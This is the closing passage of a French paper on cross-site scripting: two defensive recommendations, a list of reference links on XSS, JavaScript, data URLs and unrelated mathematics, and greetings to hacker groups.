• Corriger les failles de cross site scripting potentielles sur son site (voir lien annexe).

• Restriction de l’utilisation des standards utilisant les protocoles javascript et data dans l’url en filtrant le contenu inséré.

14. liens annexes,

liens annexes

http://fr.wikipedia.org/wiki/JavaScript

remerciements et fin.

http://actuel.fr.selfhtml.org/archives/docu/7.0/tecbbe.htm

http://www.google.fr/search?hl=fr&client=firefox a&rls=org.mozilla%3Afr%3Aofficial&hs=V8j&q=correct+xss&btnG=Rechercher&meta= http://fr.wikipedia.org/wiki/XMLHttpRequest http://www.journaldunet.com/developpeur/tutoriel/dht/070625-ajax-in-securite.shtml

http://julp.developpez.com/php/curl/#L3.1.2

http://www.manuelphp.com/php/function.mysql-connect.php

http://fr.wikipedia.org/wiki/Hypertext_Markup_Language http://maps.google.fr/support/bin/answer.py?hl=fr&answer=29435 http://code.google.com/intl/fr/apis/earth/ http://fr.wikipedia.org/wiki/Kolmogorov http://www.stetson.edu/~efriedma/cirincir/ http://fr.wikipedia.org/wiki/Th%C3%A9orie_algorithmique_de_l%27information http://fr.wikipedia.org/wiki/Paradoxe_du_compresseur http://fr.wikipedia.org/wiki/Carl_Friedrich_Gauss http://mathworld.wolfram.com/CirclePacking.html

http://dean.edwards.name/packer/ http://fr.wikipedia.org/wiki/Keyhole_Markup_Language http://code.google.com/apis/kml/documentation/ http://code.google.com/apis/kml/documentation/kml_tut.html

http://demonstrations.wolfram.com/2ByNDiskPackingParadox/ http://yehg.net/encoding/ http://www.ietf.org/rfc/rfc2397.txt

http://www.gnucitizen.org/blog/bugs-in-the-browser-firefoxs-data-url-scheme-vulnerability/ http://attackvector.lescigales.org/vectors/index.php

http://attackvector.lescigales.org/2009/05/16/how-to-prevent-frameiframe-injection-in-your-login-page/ http://xssed.com/article/29/Browser_Hijacking_Techniques_2009/ http://p3lo.blip.tv/file/2006110/ http://www.research.att.com/~njas/sequences/A093766 http://www.glype.com

http://fr.wikipedia.org/wiki/Cross-site_scripting http://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29 http://www.maxmind.com/ http://ha.ckers.org/

14. liens annexes, remerciements et fin.

• Greetings : FRHACK, str0ke, xssed team, cwh underground, 50-1337 crew.

Special thanks to: Str0ke . Mike001 . Zulrigh . Devil . Noxo . MySt3ri0us . xxello . t0fx . AzOTe . Funny . Stiv0n scarface-team .MrRabah. Xylitol . Z3Q3ul . asylu3 . 0ni . KPCR . Sh0ck . Nasty Shade . SylTroX TheCrow . HuG . Hug88 . Ez3kiEl . tr00ps . Iectricdr3ke . stivon . Faworis .tryks . sh4ka emuleman . RF . White Angels . Miss Narkotik . p@@@ . Akxos/Freiya . Odysse . EniGmATiquE . Tavux . v00d00chile . mrabah12 . Big.E .SoLiTaIr3 . 0vernet . HiTMaX . Orion .xxello . Digital-h . RP . Yehouda . Freeman . roy hot . Cybstup . nickill

FIN